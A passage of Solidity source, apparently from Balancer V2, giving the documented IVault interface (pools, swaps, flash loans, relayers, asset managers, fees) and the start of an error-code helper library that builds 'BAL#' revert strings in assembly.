Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/ISignaturesValidator.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/ITemporarilyPausable.sol"; import "@balancer-labs/v2-solidity-utils/contracts/misc/IWETH.sol"; import "./IAsset.sol"; import "./IAuthorizer.sol"; import "./IFlashLoanRecipient.sol"; import "./IProtocolFeesCollector.sol"; pragma solidity ^0.7.0; /** * @dev Full external interface for the Vault core contract - no external or public methods exist in the contract that * don't override one of these declarations. */ interface IVault is ISignaturesValidator, ITemporarilyPausable { // Generalities about the Vault: // // - Whenever documentation refers to 'tokens', it strictly refers to ERC20-compliant token contracts. Tokens are // transferred out of the Vault by calling the `IERC20.transfer` function, and transferred in by calling // `IERC20.transferFrom`. In these cases, the sender must have previously allowed the Vault to use their tokens by // calling `IERC20.approve`. The only deviation from the ERC20 standard that is supported is functions not returning // a boolean value: in these scenarios, a non-reverting call is assumed to be successful. // // - All non-view functions in the Vault are non-reentrant: calling them while another one is mid-execution (e.g. // while execution control is transferred to a token contract during a swap) will result in a revert. View // functions can be called in a re-reentrant way, but doing so might cause them to return inconsistent results. // Contracts calling view functions in the Vault must make sure the Vault has not already been entered. // // - View functions revert if referring to either unregistered Pools, or unregistered tokens for registered Pools. // Authorizer // // Some system actions are permissioned, like setting and collecting protocol fees. This permissioning system exists // outside of the Vault in the Authorizer contract: the Vault simply calls the Authorizer to check if the caller // can perform a given action. /** * @dev Returns the Vault's Authorizer. */ function getAuthorizer() external view returns (IAuthorizer); /** * @dev Sets a new Authorizer for the Vault. The caller must be allowed by the current Authorizer to do this. * * Emits an `AuthorizerChanged` event. */ function setAuthorizer(IAuthorizer newAuthorizer) external; /** * @dev Emitted when a new authorizer is set by `setAuthorizer`. */ event AuthorizerChanged(IAuthorizer indexed newAuthorizer); // Relayers // // Additionally, it is possible for an account to perform certain actions on behalf of another one, using their // Vault ERC20 allowance and Internal Balance. These accounts are said to be 'relayers' for these Vault functions, // and are expected to be smart contracts with sound authentication mechanisms. For an account to be able to wield // this power, two things must occur: // - The Authorizer must grant the account the permission to be a relayer for the relevant Vault function. This // means that Balancer governance must approve each individual contract to act as a relayer for the intended // functions. // - Each user must approve the relayer to act on their behalf. // This double protection means users cannot be tricked into approving malicious relayers (because they will not // have been allowed by the Authorizer via governance), nor can malicious relayers approved by a compromised // Authorizer or governance drain user funds, since they would also need to be approved by each individual user. /** * @dev Returns true if `user` has approved `relayer` to act as a relayer for them. */ function hasApprovedRelayer(address user, address relayer) external view returns (bool); /** * @dev Allows `relayer` to act as a relayer for `sender` if `approved` is true, and disallows it otherwise. * * Emits a `RelayerApprovalChanged` event. */ function setRelayerApproval( address sender, address relayer, bool approved ) external; /** * @dev Emitted every time a relayer is approved or disapproved by `setRelayerApproval`. */ event RelayerApprovalChanged(address indexed relayer, address indexed sender, bool approved); // Internal Balance // // Users can deposit tokens into the Vault, where they are allocated to their Internal Balance, and later // transferred or withdrawn. It can also be used as a source of tokens when joining Pools, as a destination // when exiting them, and as either when performing swaps. This usage of Internal Balance results in greatly reduced // gas costs when compared to relying on plain ERC20 transfers, leading to large savings for frequent users. // // Internal Balance management features batching, which means a single contract call can be used to perform multiple // operations of different kinds, with different senders and recipients, at once. /** * @dev Returns `user`'s Internal Balance for a set of tokens. */ function getInternalBalance(address user, IERC20[] memory tokens) external view returns (uint256[] memory); /** * @dev Performs a set of user balance operations, which involve Internal Balance (deposit, withdraw or transfer) * and plain ERC20 transfers using the Vault's allowance. This last feature is particularly useful for relayers, as * it lets integrators reuse a user's Vault allowance. * * For each operation, if the caller is not `sender`, it must be an authorized relayer for them. */ function manageUserBalance(UserBalanceOp[] memory ops) external payable; /** * @dev Data for `manageUserBalance` operations, which include the possibility for ETH to be sent and received without manual WETH wrapping or unwrapping. */ struct UserBalanceOp { UserBalanceOpKind kind; IAsset asset; uint256 amount; address sender; address payable recipient; } // There are four possible operations in `manageUserBalance`: // // - DEPOSIT_INTERNAL // Increases the Internal Balance of the `recipient` account by transferring tokens from the corresponding // `sender`. The sender must have allowed the Vault to use their tokens via `IERC20.approve()`. // // ETH can be used by passing the ETH sentinel value as the asset and forwarding ETH in the call: it will be wrapped // and deposited as WETH. Any ETH amount remaining will be sent back to the caller (not the sender, which is // relevant for relayers). // // Emits an `InternalBalanceChanged` event. // // // - WITHDRAW_INTERNAL // Decreases the Internal Balance of the `sender` account by transferring tokens to the `recipient`. // // ETH can be used by passing the ETH sentinel value as the asset. This will deduct WETH instead, unwrap it and send // it to the recipient as ETH. // // Emits an `InternalBalanceChanged` event. // // // - TRANSFER_INTERNAL // Transfers tokens from the Internal Balance of the `sender` account to the Internal Balance of `recipient`. // // Reverts if the ETH sentinel value is passed. // // Emits an `InternalBalanceChanged` event. // // // - TRANSFER_EXTERNAL // Transfers tokens from `sender` to `recipient`, using the Vault's ERC20 allowance. This is typically used by // relayers, as it lets them reuse a user's Vault allowance. // // Reverts if the ETH sentinel value is passed. // // Emits an `ExternalBalanceTransfer` event. enum UserBalanceOpKind { DEPOSIT_INTERNAL, WITHDRAW_INTERNAL, TRANSFER_INTERNAL, TRANSFER_EXTERNAL } /** * @dev Emitted when a user's Internal Balance changes, either from calls to `manageUserBalance`, or through * interacting with Pools using Internal Balance. * * Because Internal Balance works exclusively with ERC20 tokens, ETH deposits and withdrawals will use the WETH * address. */ event InternalBalanceChanged(address indexed user, IERC20 indexed token, int256 delta); /** * @dev Emitted when a user's Vault ERC20 allowance is used by the Vault to transfer tokens to an external account. */ event ExternalBalanceTransfer(IERC20 indexed token, address indexed sender, address recipient, uint256 amount); // Pools // // There are three specialization settings for Pools, which allow for cheaper swaps at the cost of reduced // functionality: // // - General: no specialization, suited for all Pools. IGeneralPool is used for swap request callbacks, passing the // balance of all tokens in the Pool. These Pools have the largest swap costs (because of the extra storage reads), // which increase with the number of registered tokens. // // - Minimal Swap Info: IMinimalSwapInfoPool is used instead of IGeneralPool, which saves gas by only passing the // balance of the two tokens involved in the swap. This is suitable for some pricing algorithms, like the weighted // constant product one popularized by Balancer V1. Swap costs are smaller compared to general Pools, and are // independent of the number of registered tokens. // // - Two Token: only allows two tokens to be registered. This achieves the lowest possible swap gas cost. Like // minimal swap info Pools, these are called via IMinimalSwapInfoPool. enum PoolSpecialization { GENERAL, MINIMAL_SWAP_INFO, TWO_TOKEN } /** * @dev Registers the caller account as a Pool with a given specialization setting. Returns the Pool's ID, which * is used in all Pool-related functions. Pools cannot be deregistered, nor can the Pool's specialization be * changed. * * The caller is expected to be a smart contract that implements either `IGeneralPool` or `IMinimalSwapInfoPool`, * depending on the chosen specialization setting. This contract is known as the Pool's contract. * * Note that the same contract may register itself as multiple Pools with unique Pool IDs, or in other words, * multiple Pools may share the same contract. * * Emits a `PoolRegistered` event. */ function registerPool(PoolSpecialization specialization) external returns (bytes32); /** * @dev Emitted when a Pool is registered by calling `registerPool`. */ event PoolRegistered(bytes32 indexed poolId, address indexed poolAddress, PoolSpecialization specialization); /** * @dev Returns a Pool's contract address and specialization setting. */ function getPool(bytes32 poolId) external view returns (address, PoolSpecialization); /** * @dev Registers `tokens` for the `poolId` Pool. Must be called by the Pool's contract. * * Pools can only interact with tokens they have registered. Users join a Pool by transferring registered tokens, * exit by receiving registered tokens, and can only swap registered tokens. * * Each token can only be registered once. For Pools with the Two Token specialization, `tokens` must have a length * of two, that is, both tokens must be registered in the same `registerTokens` call, and they must be sorted in * ascending order. * * The `tokens` and `assetManagers` arrays must have the same length, and each entry in these indicates the Asset * Manager for the corresponding token. Asset Managers can manage a Pool's tokens via `managePoolBalance`, * depositing and withdrawing them directly, and can even set their balance to arbitrary amounts. They are therefore * expected to be highly secured smart contracts with sound design principles, and the decision to register an * Asset Manager should not be made lightly. * * Pools can choose not to assign an Asset Manager to a given token by passing in the zero address. Once an Asset * Manager is set, it cannot be changed except by deregistering the associated token and registering again with a * different Asset Manager. * * Emits a `TokensRegistered` event. */ function registerTokens( bytes32 poolId, IERC20[] memory tokens, address[] memory assetManagers ) external; /** * @dev Emitted when a Pool registers tokens by calling `registerTokens`. */ event TokensRegistered(bytes32 indexed poolId, IERC20[] tokens, address[] assetManagers); /** * @dev Deregisters `tokens` for the `poolId` Pool. Must be called by the Pool's contract. * * Only registered tokens (via `registerTokens`) can be deregistered. Additionally, they must have zero total * balance. For Pools with the Two Token specialization, `tokens` must have a length of two, that is, both tokens * must be deregistered in the same `deregisterTokens` call. * * A deregistered token can be re-registered later on, possibly with a different Asset Manager. * * Emits a `TokensDeregistered` event. */ function deregisterTokens(bytes32 poolId, IERC20[] memory tokens) external; /** * @dev Emitted when a Pool deregisters tokens by calling `deregisterTokens`. */ event TokensDeregistered(bytes32 indexed poolId, IERC20[] tokens); /** * @dev Returns detailed information for a Pool's registered token. * * `cash` is the number of tokens the Vault currently holds for the Pool. `managed` is the number of tokens * withdrawn and held outside the Vault by the Pool's token Asset Manager. The Pool's total balance for `token` * equals the sum of `cash` and `managed`. * * Internally, `cash` and `managed` are stored using 112 bits. No action can ever cause a Pool's token `cash`, * `managed` or `total` balance to be greater than 2^112 - 1. * * `lastChangeBlock` is the number of the block in which `token`'s total balance was last modified (via either a * join, exit, swap, or Asset Manager update). This value is useful to avoid so-called 'sandwich attacks', for * example when developing price oracles. A change of zero (e.g. caused by a swap with amount zero) is considered a * change for this purpose, and will update `lastChangeBlock`. * * `assetManager` is the Pool's token Asset Manager. */ function getPoolTokenInfo(bytes32 poolId, IERC20 token) external view returns ( uint256 cash, uint256 managed, uint256 lastChangeBlock, address assetManager ); /** * @dev Returns a Pool's registered tokens, the total balance for each, and the latest block when *any* of * the tokens' `balances` changed. * * The order of the `tokens` array is the same order that will be used in `joinPool`, `exitPool`, as well as in all * Pool hooks (where applicable). Calls to `registerTokens` and `deregisterTokens` may change this order. * * If a Pool only registers tokens once, and these are sorted in ascending order, they will be stored in the same * order as passed to `registerTokens`. * * Total balances include both tokens held by the Vault and those withdrawn by the Pool's Asset Managers. These are * the amounts used by joins, exits and swaps. For a detailed breakdown of token balances, use `getPoolTokenInfo` * instead. */ function getPoolTokens(bytes32 poolId) external view returns ( IERC20[] memory tokens, uint256[] memory balances, uint256 lastChangeBlock ); /** * @dev Called by users to join a Pool, which transfers tokens from `sender` into the Pool's balance. This will * trigger custom Pool behavior, which will typically grant something in return to `recipient` - often tokenized * Pool shares. * * If the caller is not `sender`, it must be an authorized relayer for them. * * The `assets` and `maxAmountsIn` arrays must have the same length, and each entry indicates the maximum amount * to send for each asset. The amounts to send are decided by the Pool and not the Vault: it just enforces * these maximums. * * If joining a Pool that holds WETH, it is possible to send ETH directly: the Vault will do the wrapping. To enable * this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead of the * WETH address. Note that it is not possible to combine ETH and WETH in the same join. Any excess ETH will be sent * back to the caller (not the sender, which is important for relayers). * * `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when * interacting with Pools that register and deregister tokens frequently. If sending ETH however, the array must be * sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the final * `assets` array might not be sorted. Pools with no registered tokens cannot be joined. * * If `fromInternalBalance` is true, the caller's Internal Balance will be preferred: ERC20 transfers will only * be made for the difference between the requested amount and Internal Balance (if any). Note that ETH cannot be * withdrawn from Internal Balance: attempting to do so will trigger a revert. * * This causes the Vault to call the `IBasePool.onJoinPool` hook on the Pool's contract, where Pools implement * their own custom logic. This typically requires additional information from the user (such as the expected number * of Pool shares). This can be encoded in the `userData` argument, which is ignored by the Vault and passed * directly to the Pool's contract, as is `recipient`. * * Emits a `PoolBalanceChanged` event. */ function joinPool( bytes32 poolId, address sender, address recipient, JoinPoolRequest memory request ) external payable; struct JoinPoolRequest { IAsset[] assets; uint256[] maxAmountsIn; bytes userData; bool fromInternalBalance; } /** * @dev Called by users to exit a Pool, which transfers tokens from the Pool's balance to `recipient`. This will * trigger custom Pool behavior, which will typically ask for something in return from `sender` - often tokenized * Pool shares. The amount of tokens that can be withdrawn is limited by the Pool's `cash` balance (see * `getPoolTokenInfo`). * * If the caller is not `sender`, it must be an authorized relayer for them. * * The `tokens` and `minAmountsOut` arrays must have the same length, and each entry in these indicates the minimum * token amount to receive for each token contract. The amounts to send are decided by the Pool and not the Vault: * it just enforces these minimums. * * If exiting a Pool that holds WETH, it is possible to receive ETH directly: the Vault will do the unwrapping. To * enable this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead * of the WETH address. Note that it is not possible to combine ETH and WETH in the same exit. * * `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when * interacting with Pools that register and deregister tokens frequently. If receiving ETH however, the array must * be sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the * final `assets` array might not be sorted. Pools with no registered tokens cannot be exited. * * If `toInternalBalance` is true, the tokens will be deposited to `recipient`'s Internal Balance. Otherwise, * an ERC20 transfer will be performed. Note that ETH cannot be deposited to Internal Balance: attempting to * do so will trigger a revert. * * `minAmountsOut` is the minimum amount of tokens the user expects to get out of the Pool, for each token in the * `tokens` array. This array must match the Pool's registered tokens. * * This causes the Vault to call the `IBasePool.onExitPool` hook on the Pool's contract, where Pools implement * their own custom logic. This typically requires additional information from the user (such as the expected number * of Pool shares to return). This can be encoded in the `userData` argument, which is ignored by the Vault and * passed directly to the Pool's contract. * * Emits a `PoolBalanceChanged` event. */ function exitPool( bytes32 poolId, address sender, address payable recipient, ExitPoolRequest memory request ) external; struct ExitPoolRequest { IAsset[] assets; uint256[] minAmountsOut; bytes userData; bool toInternalBalance; } /** * @dev Emitted when a user joins or exits a Pool by calling `joinPool` or `exitPool`, respectively. */ event PoolBalanceChanged( bytes32 indexed poolId, address indexed liquidityProvider, IERC20[] tokens, int256[] deltas, uint256[] protocolFeeAmounts ); enum PoolBalanceChangeKind { JOIN, EXIT } // Swaps // // Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. To do this, // they need not trust Pool contracts in any way: all security checks are made by the Vault. They must however be // aware of the Pools' pricing algorithms in order to estimate the prices Pools will quote. // // The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence. // In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'), // and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out'). // More complex swaps, such as one token in to multiple tokens out can be achieved by batching together // individual swaps. // // There are two swap kinds: // - 'given in' swaps, where the amount of tokens in (sent to the Pool) is known, and the Pool determines (via the // `onSwap` hook) the amount of tokens out (to send to the recipient). // - 'given out' swaps, where the amount of tokens out (received from the Pool) is known, and the Pool determines // (via the `onSwap` hook) the amount of tokens in (to receive from the sender). // // Additionally, it is possible to chain swaps using a placeholder input amount, which the Vault replaces with // the calculated output of the previous swap. If the previous swap was 'given in', this will be the calculated // tokenOut amount. If the previous swap was 'given out', it will use the calculated tokenIn amount. These extended // swaps are known as 'multihop' swaps, since they 'hop' through a number of intermediate tokens before arriving at // the final intended token. // // In all cases, tokens are only transferred in and out of the Vault (or withdrawn from and deposited into Internal // Balance) after all individual swaps have been completed, and the net token balance change computed. This makes // certain swap patterns, such as multihops, or swaps that interact with the same token pair in multiple Pools, cost // much less gas than they would otherwise. // // It also means that under certain conditions it is possible to perform arbitrage by swapping with multiple // Pools in a way that results in net token movement out of the Vault (profit), with no tokens being sent in (only // updating the Pool's internal accounting). // // To protect users from front-running or the market changing rapidly, they supply a list of 'limits' for each token // involved in the swap, where either the maximum number of tokens to send (by passing a positive value) or the // minimum amount of tokens to receive (by passing a negative value) is specified. // // Additionally, a 'deadline' timestamp can also be provided, forcing the swap to fail if it occurs after // this point in time (e.g. if the transaction failed to be included in a block promptly). // // If interacting with Pools that hold WETH, it is possible to both send and receive ETH directly: the Vault will do // the wrapping and unwrapping. To enable this mechanism, the IAsset sentinel value (the zero address) must be // passed in the `assets` array instead of the WETH address. Note that it is possible to combine ETH and WETH in the // same swap. Any excess ETH will be sent back to the caller (not the sender, which is relevant for relayers). // // Finally, Internal Balance can be used when either sending or receiving tokens. enum SwapKind { GIVEN_IN, GIVEN_OUT } /** * @dev Performs a swap with a single Pool. * * If the swap is 'given in' (the number of tokens to send to the Pool is known), it returns the amount of tokens * taken from the Pool, which must be greater than or equal to `limit`. * * If the swap is 'given out' (the number of tokens to take from the Pool is known), it returns the amount of tokens * sent to the Pool, which must be less than or equal to `limit`. * * Internal Balance usage and the recipient are determined by the `funds` struct. * * Emits a `Swap` event. */ function swap( SingleSwap memory singleSwap, FundManagement memory funds, uint256 limit, uint256 deadline ) external payable returns (uint256); /** * @dev Data for a single swap executed by `swap`. `amount` is either `amountIn` or `amountOut` depending on * the `kind` value. * * `assetIn` and `assetOut` are either token addresses, or the IAsset sentinel value for ETH (the zero address). * Note that Pools never interact with ETH directly: it will be wrapped to or unwrapped from WETH by the Vault. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct SingleSwap { bytes32 poolId; SwapKind kind; IAsset assetIn; IAsset assetOut; uint256 amount; bytes userData; } /** * @dev Performs a series of swaps with one or multiple Pools. In each individual swap, the caller determines either * the amount of tokens sent to or received from the Pool, depending on the `kind` value. * * Returns an array with the net Vault asset balance deltas. Positive amounts represent tokens (or ETH) sent to the * Vault, and negative amounts represent tokens (or ETH) sent by the Vault. Each delta corresponds to the asset at * the same index in the `assets` array. * * Swaps are executed sequentially, in the order specified by the `swaps` array. Each array element describes a * Pool, the token to be sent to this Pool, the token to receive from it, and an amount that is either `amountIn` or * `amountOut` depending on the swap kind. * * Multihop swaps can be executed by passing an `amount` value of zero for a swap. This will cause the amount in/out * of the previous swap to be used as the amount in for the current one. In a 'given in' swap, 'tokenIn' must equal * the previous swap's `tokenOut`. For a 'given out' swap, `tokenOut` must equal the previous swap's `tokenIn`. * * The `assets` array contains the addresses of all assets involved in the swaps. These are either token addresses, * or the IAsset sentinel value for ETH (the zero address). Each entry in the `swaps` array specifies tokens in and * out by referencing an index in `assets`. Note that Pools never interact with ETH directly: it will be wrapped to * or unwrapped from WETH by the Vault. * * Internal Balance usage, sender, and recipient are determined by the `funds` struct. The `limits` array specifies * the minimum or maximum amount of each token the vault is allowed to transfer. * * `batchSwap` can be used to make a single swap, like `swap` does, but doing so requires more gas than the * equivalent `swap` call. * * Emits `Swap` events. */ function batchSwap( SwapKind kind, BatchSwapStep[] memory swaps, IAsset[] memory assets, FundManagement memory funds, int256[] memory limits, uint256 deadline ) external payable returns (int256[] memory); /** * @dev Data for each individual swap executed by `batchSwap`. The asset in and out fields are indexes into the * `assets` array passed to that function, and ETH assets are converted to WETH. * * If `amount` is zero, the multihop mechanism is used to determine the actual amount based on the amount in/out * from the previous swap, depending on the swap kind. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct BatchSwapStep { bytes32 poolId; uint256 assetInIndex; uint256 assetOutIndex; uint256 amount; bytes userData; } /** * @dev Emitted for each individual swap performed by `swap` or `batchSwap`. */ event Swap( bytes32 indexed poolId, IERC20 indexed tokenIn, IERC20 indexed tokenOut, uint256 amountIn, uint256 amountOut ); /** * @dev All tokens in a swap are either sent from the `sender` account to the Vault, or from the Vault to the * `recipient` account. * * If the caller is not `sender`, it must be an authorized relayer for them. * * If `fromInternalBalance` is true, the `sender`'s Internal Balance will be preferred, performing an ERC20 * transfer for the difference between the requested amount and the User's Internal Balance (if any). The `sender` * must have allowed the Vault to use their tokens via `IERC20.approve()`. This matches the behavior of * `joinPool`. * * If `toInternalBalance` is true, tokens will be deposited to `recipient`'s internal balance instead of * transferred. This matches the behavior of `exitPool`. * * Note that ETH cannot be deposited to or withdrawn from Internal Balance: attempting to do so will trigger a * revert. */ struct FundManagement { address sender; bool fromInternalBalance; address payable recipient; bool toInternalBalance; } /** * @dev Simulates a call to `batchSwap`, returning an array of Vault asset deltas. Calls to `swap` cannot be * simulated directly, but an equivalent `batchSwap` call can and will yield the exact same result. * * Each element in the array corresponds to the asset at the same index, and indicates the number of tokens (or ETH) * the Vault would take from the sender (if positive) or send to the recipient (if negative). The arguments it * receives are the same that an equivalent `batchSwap` call would receive. * * Unlike `batchSwap`, this function performs no checks on the sender or recipient field in the `funds` struct. * This makes it suitable to be called by off-chain applications via eth_call without needing to hold tokens, * approve them for the Vault, or even know a user's address. * * Note that this function is not 'view' (due to implementation details): the client code must explicitly execute * eth_call instead of eth_sendTransaction. */ function queryBatchSwap( SwapKind kind, BatchSwapStep[] memory swaps, IAsset[] memory assets, FundManagement memory funds ) external returns (int256[] memory assetDeltas); // Flash Loans /** * @dev Performs a 'flash loan', sending tokens to `recipient`, executing the `receiveFlashLoan` hook on it, * and then reverting unless the tokens plus a proportional protocol fee have been returned. * * The `tokens` and `amounts` arrays must have the same length, and each entry in these indicates the loan amount * for each token contract. `tokens` must be sorted in ascending order. * * The 'userData' field is ignored by the Vault, and forwarded as-is to `recipient` as part of the * `receiveFlashLoan` call. * * Emits `FlashLoan` events. */ function flashLoan( IFlashLoanRecipient recipient, IERC20[] memory tokens, uint256[] memory amounts, bytes memory userData ) external; /** * @dev Emitted for each individual flash loan performed by `flashLoan`. */ event FlashLoan(IFlashLoanRecipient indexed recipient, IERC20 indexed token, uint256 amount, uint256 feeAmount); // Asset Management // // Each token registered for a Pool can be assigned an Asset Manager, which is able to freely withdraw the Pool's // tokens from the Vault, deposit them, or assign arbitrary values to its `managed` balance (see // `getPoolTokenInfo`). This makes them extremely powerful and dangerous. Even if an Asset Manager only directly // controls one of the tokens in a Pool, a malicious manager could set that token's balance to manipulate the // prices of the other tokens, and then drain the Pool with swaps. The risk of using Asset Managers is therefore // not constrained to the tokens they are managing, but extends to the entire Pool's holdings. // // However, a properly designed Asset Manager smart contract can be safely used for the Pool's benefit, // for example by lending unused tokens out for interest, or using them to participate in voting protocols. // // This concept is unrelated to the IAsset interface. /** * @dev Performs a set of Pool balance operations, which may be either withdrawals, deposits or updates. * * Pool Balance management features batching, which means a single contract call can be used to perform multiple * operations of different kinds, with different Pools and tokens, at once. * * For each operation, the caller must be registered as the Asset Manager for `token` in `poolId`. */ function managePoolBalance(PoolBalanceOp[] memory ops) external; struct PoolBalanceOp { PoolBalanceOpKind kind; bytes32 poolId; IERC20 token; uint256 amount; } /** * Withdrawals decrease the Pool's cash, but increase its managed balance, leaving the total balance unchanged. * * Deposits increase the Pool's cash, but decrease its managed balance, leaving the total balance unchanged. * * Updates don't affect the Pool's cash balance, but because the managed balance changes, it does alter the total. * The external amount can be either increased or decreased by this call (i.e., reporting a gain or a loss). */ enum PoolBalanceOpKind { WITHDRAW, DEPOSIT, UPDATE } /** * @dev Emitted when a Pool's token Asset Manager alters its balance via `managePoolBalance`. */ event PoolBalanceManaged( bytes32 indexed poolId, address indexed assetManager, IERC20 indexed token, int256 cashDelta, int256 managedDelta ); // Protocol Fees // // Some operations cause the Vault to collect tokens in the form of protocol fees, which can then be withdrawn by // permissioned accounts. // // There are two kinds of protocol fees: // // - flash loan fees: charged on all flash loans, as a percentage of the amounts lent. // // - swap fees: a percentage of the fees charged by Pools when performing swaps. For a number of reasons, including // swap gas costs and interface simplicity, protocol swap fees are not charged on each individual swap. Rather, // Pools are expected to keep track of how much they have charged in swap fees, and pay any outstanding debts to the // Vault when they are joined or exited. This prevents users from joining a Pool with unpaid debt, as well as // exiting a Pool in debt without first paying their share. /** * @dev Returns the current protocol fee module. */ function getProtocolFeesCollector() external view returns (IProtocolFeesCollector); /** * @dev Safety mechanism to pause most Vault operations in the event of an emergency - typically detection of an * error in some part of the system. * * The Vault can only be paused during an initial time period, after which pausing is forever disabled. * * While the contract is paused, the following features are disabled: * - depositing and transferring internal balance * - transferring external balance (using the Vault's allowance) * - swaps * - joining Pools * - Asset Manager interactions * * Internal Balance can still be withdrawn, and Pools exited. */ function setPaused(bool paused) external; /** * @dev Returns the Vault's WETH instance. */ function WETH() external view returns (IWETH); // solhint-disable-previous-line func-name-mixedcase } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; // solhint-disable /** * @dev Reverts if `condition` is false, with a revert reason containing `errorCode`. Only codes up to 999 are * supported. */ function _require(bool condition, uint256 errorCode) pure { if (!condition) _revert(errorCode); } /** * @dev Reverts with a revert reason containing `errorCode`. Only codes up to 999 are supported. */ function _revert(uint256 errorCode) pure { // We're going to dynamically create a revert string based on the error code, with the following format: // 'BAL#{errorCode}' // where the code is left-padded with zeroes to three digits (so they range from 000 to 999). // // We don't have revert strings embedded in the contract to save bytecode size: it takes much less space to store a // number (8 to 16 bits) than the individual string characters. // // The dynamic string creation algorithm that follows could be implemented in Solidity, but assembly allows for a // much denser implementation, again saving bytecode size. Given this function unconditionally reverts, this is a // safe place to rely on it without worrying about how its usage might affect e.g. memory contents. assembly { // First, we need to compute the ASCII representation of the error code. We assume that it is in the 0-999 // range, so we only need to convert three digits. To convert the digits to ASCII, we add 0x30, the value for // the '0' character. let units := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let tenths := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let hundreds := add(mod(errorCode, 10), 0x30) // With the individual characters, we can now construct the full string. The "BAL#" part is a known constant // (0x42414c23): we simply shift this by 24 (to provide space for the 3 bytes of the error code), and add the // characters to it, each shifted by a multiple of 8. // The revert reason is then shifted left by 200 bits (256 minus the length of the string, 7 characters * 8 bits // per character = 56) to locate it in the most significant part of the 256 slot (the beginning of a byte // array). let revertReason := shl(200, add(0x42414c23000000, add(add(units, shl(8, tenths)), shl(16, hundreds)))) // We can now encode the reason in memory, which can be safely overwritten as we're about to revert. The encoded // message will have the following layout: // [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ] // The Solidity revert reason identifier is 0x08c739a0, the function selector of the Error(string) function. We // also write zeroes to the next 28 bytes of memory, but those are about to be overwritten. mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000) // Next is the offset to the location of the string, which will be placed immediately after (20 bytes away). mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020) // The string length is fixed: 7 characters. mstore(0x24, 7) // Finally, the string itself is stored. mstore(0x44, revertReason) // Even if the string is only 7 bytes long, we need to return a full 32 byte slot containing it. The length of // the encoded message is therefore 4 + 32 + 32 + 32 = 100. revert(0, 100) } } library Errors { // Math uint256 internal constant ADD_OVERFLOW = 0; uint256 internal constant SUB_OVERFLOW = 1; uint256 internal constant SUB_UNDERFLOW = 2; uint256 internal constant MUL_OVERFLOW = 3; uint256 internal constant ZERO_DIVISION = 4; uint256 internal constant DIV_INTERNAL = 5; uint256 internal constant X_OUT_OF_BOUNDS = 6; uint256 internal constant Y_OUT_OF_BOUNDS = 7; uint256 internal constant PRODUCT_OUT_OF_BOUNDS = 8; uint256 internal constant INVALID_EXPONENT = 9; // Input uint256 internal constant OUT_OF_BOUNDS = 100; uint256 internal constant UNSORTED_ARRAY = 101; uint256 internal constant UNSORTED_TOKENS = 102; uint256 internal constant INPUT_LENGTH_MISMATCH = 103; uint256 internal constant ZERO_TOKEN = 104; // Shared pools uint256 internal constant MIN_TOKENS = 200; uint256 internal constant MAX_TOKENS = 201; uint256 internal constant MAX_SWAP_FEE_PERCENTAGE = 202; uint256 internal constant MIN_SWAP_FEE_PERCENTAGE = 203; uint256 internal constant MINIMUM_BPT = 204; uint256 internal constant CALLER_NOT_VAULT = 205; uint256 internal constant UNINITIALIZED = 206; uint256 internal constant BPT_IN_MAX_AMOUNT = 207; uint256 internal constant BPT_OUT_MIN_AMOUNT = 208; uint256 internal constant EXPIRED_PERMIT = 209; uint256 internal constant NOT_TWO_TOKENS = 210; uint256 internal constant DISABLED = 211; // Pools uint256 internal constant MIN_AMP = 300; uint256 internal constant MAX_AMP = 301; uint256 internal constant MIN_WEIGHT = 302; uint256 internal constant MAX_STABLE_TOKENS = 303; uint256 internal constant MAX_IN_RATIO = 304; uint256 internal constant MAX_OUT_RATIO = 305; uint256 internal constant MIN_BPT_IN_FOR_TOKEN_OUT = 306; uint256 internal constant MAX_OUT_BPT_FOR_TOKEN_IN = 307; uint256 internal constant NORMALIZED_WEIGHT_INVARIANT = 308; uint256 internal constant INVALID_TOKEN = 309; uint256 internal constant UNHANDLED_JOIN_KIND = 310; uint256 internal constant ZERO_INVARIANT = 311; uint256 internal constant ORACLE_INVALID_SECONDS_QUERY = 312; uint256 internal constant ORACLE_NOT_INITIALIZED = 313; uint256 internal constant ORACLE_QUERY_TOO_OLD = 314; uint256 internal constant ORACLE_INVALID_INDEX = 315; uint256 internal constant ORACLE_BAD_SECS = 316; uint256 internal constant AMP_END_TIME_TOO_CLOSE = 317; uint256 internal constant AMP_ONGOING_UPDATE = 318; uint256 internal constant AMP_RATE_TOO_HIGH = 319; uint256 internal constant AMP_NO_ONGOING_UPDATE = 320; uint256 internal constant STABLE_INVARIANT_DIDNT_CONVERGE = 321; uint256 internal constant 